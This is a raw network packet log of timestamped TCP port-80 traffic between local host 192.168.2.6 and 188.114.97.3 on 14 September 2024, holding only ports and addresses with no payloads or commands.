Sep 14, 2024 18:44:10.864684105 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.864717007 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.864748955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.864758015 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.864785910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.864833117 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.864840031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.864887953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.864919901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.864929914 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.864953995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.865000963 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.865015984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.865047932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.865083933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.865093946 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.865120888 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.865164995 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.865170002 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.865201950 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.865236044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.865246058 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.865269899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.865305901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.865317106 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.865338087 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.865370989 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.865381002 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.865407944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.865442991 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.865456104 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.865490913 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.865523100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.865550995 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.865555048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.865591049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.865602970 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.865626097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.865658998 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.865669966 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.865690947 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.865726948 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.865756989 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.865766048 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.865792990 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.865813971 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.865823984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.865856886 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.865869999 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.865889072 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.865921021 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.865930080 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.865956068 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.865988970 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.866003036 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.866020918 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.866056919 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.866077900 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.866092920 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.866127014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.866142035 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.866158962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.866190910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.866203070 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.866225958 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.866261959 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.866270065 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.866297007 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.866338015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.866348028 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.866374969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.866409063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.866421938 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.866441965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.866476059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.866494894 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.866509914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.866542101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.866555929 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.866573095 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.866605043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.866619110 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.866635084 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.866666079 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.866676092 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.866705894 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.866741896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.866755009 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.866774082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.866816044 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.908628941 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.908668041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.908704996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.908757925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.908790112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.908795118 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.908826113 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.908863068 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.908864975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.908885002 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.910381079 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.910438061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.910461903 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.910475016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.910526991 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.910526991 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.910563946 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.910598993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.910636902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.910661936 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.910696983 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.911720991 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.911777020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.911828995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.911834002 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.911865950 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.911917925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.911921978 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.911955118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.911988020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.912005901 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.952162027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.952244997 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.952248096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.952281952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.952323914 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.952419996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.952570915 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.952605009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.952616930 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.952640057 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.952688932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.952719927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.952754021 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.952766895 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.952788115 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.952810049 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.952822924 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.952827930 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.952874899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.952913046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.952918053 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.952961922 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.952995062 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.953002930 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.953027010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.953061104 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.953064919 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.953094959 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.953128099 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.953146935 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.953160048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.953191042 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.953227997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.953236103 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.953264952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.953275919 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.953298092 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.953335047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.953340054 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.953367949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.953398943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.953408957 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.953430891 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.953465939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.953475952 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.953504086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.953542948 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.953546047 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.953593969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.953627110 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.953640938 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.953659058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.953696012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.953712940 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.953746080 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.953778982 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.953785896 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.953814030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.953856945 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.953865051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.953897953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.953933001 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.953939915 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.953972101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.954005003 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.954015970 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.954035997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.954068899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.954077959 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.954101086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.954133034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.954140902 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.954165936 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.954201937 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.954207897 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.954255104 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.954283953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.954299927 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.954317093 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.954355001 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.954355001 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.954387903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.954421043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.954431057 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.954457998 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.954490900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.954498053 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.954540014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.954572916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.954581022 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.954605103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.954639912 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.954646111 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.954669952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.954704046 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.954724073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.954756021 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.954792023 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.954797983 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.954824924 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.954859018 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.954860926 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.954894066 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.954926968 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.954945087 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.954962969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.954998016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.955008984 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.955029964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.955063105 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.955076933 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.955100060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.955157042 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.955167055 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.955204010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.955239058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.955249071 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.955276012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.955308914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.955316067 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.955342054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.955374002 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.955401897 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.955425978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.955459118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.955471039 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.955491066 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.955523968 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.955535889 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.955562115 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.955595016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.955604076 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.955627918 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.955655098 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.955667019 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.955686092 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.955719948 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.955722094 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.997236013 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.997276068 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.997325897 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.997359037 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.997392893 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.997428894 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.997431040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.997466087 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.997468948 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.997571945 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.998934984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.998991013 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.999023914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.999109983 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.999118090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.999151945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.999170065 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.999188900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.999222994 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.999239922 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:10.999254942 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:10.999303102 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.000257969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.000288010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.000339985 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.000376940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.000377893 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.000408888 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.000420094 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.000446081 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.000478983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.000499964 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.000514984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.000555038 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.040676117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.040751934 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.040802956 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.040808916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.040858030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.040890932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.040923119 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.040961027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.040994883 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.041013002 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.041038990 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.041049957 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.041089058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.041126966 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.041143894 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.041177988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.041214943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.041218996 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.041250944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.041294098 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.041301012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.041332960 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.041363955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.041374922 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.041405916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.041440964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.041449070 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.041472912 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.041503906 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.041520119 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.041536093 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.041572094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.041579962 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.041600943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.041632891 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.041645050 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.041670084 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.041702032 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:11.041718006 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:11.041750908 CEST	80	49722	188.114.97.3	192.168.2.6
